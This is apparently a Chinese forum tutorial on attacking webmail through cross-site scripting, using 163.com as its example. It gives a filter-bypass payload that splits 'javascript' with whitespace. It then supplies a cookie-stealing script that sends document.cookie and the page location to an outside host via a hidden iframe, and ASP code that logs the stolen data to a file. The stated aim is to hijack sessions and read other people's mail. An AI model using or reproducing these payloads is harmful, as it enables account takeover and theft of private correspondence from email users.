国内所有Mail安全漏洞

先简单说下跨站脚本漏洞，又称为XSS攻击，也称为Html代码注入漏洞，可以知道漏洞的起因是注入了Html代码，危害就是最终在别人浏览器内以浏览者的身份执行任意Html代码。
    国内邮箱在跨站脚本攻击防御方面存在漏洞，可以被人引入script脚本，然后通过窃取cookie的手段来进入他人邮箱获得敏感内容。各个邮箱存在的问题可能不同，但是方法是一样的，现在就以163.com的邮箱作为例子。
    163.com存在的问题在于对于script关键字过滤不正确，譬如<img src=javascript:alert()>这样的代码在163中可能因为存在javascript而被转换，但是如果我们用jav        ascrip        t:alert()代码却可以躲避检查，但是后面的代码依然会执行。问题存在了，剩下的只是利用问题。
    现在的服务器对浏览器的身份已经不是简单的Cookie了，一般采用的是session认证的方法。session是保存在服务器方面的，我们不能随意更改，但是我们可以劫持或者冒充，因为浏览器是通过提交一个sessionID之类的东西去服务器验证自己的身份的。譬如我们嗅叹或者其他的技术手段获得了一个管理员或者我们需要的用户的sessionID，就可以想办法自己取得这个sessionID去冒充他了。其实在跨站脚本当中，sessionID等内容也是保存在cookie里的，如果我们tou到了Cookie也就取得了sessionID哦！
    首先tou取Cookie，通过以下脚本引入一个js，document.write("<script src=XX.js></script>")，然后js内容为：

var code;                                      
var target = "http://www.loveshell.net/cookie.asp?";
info=escape(document.location+"@@@"+document.cookie);
target=target+info;
code="<iframe style='display:none;' src=";
code=code+target;                                      
code=code+" width=0 height=0></iframe>";
document.write(code);

这样就可以将cookie等信息传到我们的站点了！cookie.asp内容为：

dim fso,file,str                                    
str=unescape(request.Servervariables("QUERY_STRING"))                  
Const ForReading = 1, ForWriting = 2, ForAppending = 8
Set fso = Server.CreateObject("Scripting.FileSystemObject")      
path = server.mappath("loveshell.txt")                      
set file=fso.opentextfile(path, ForAppending, TRUE)            
file.write("Xss:")
file.write(str)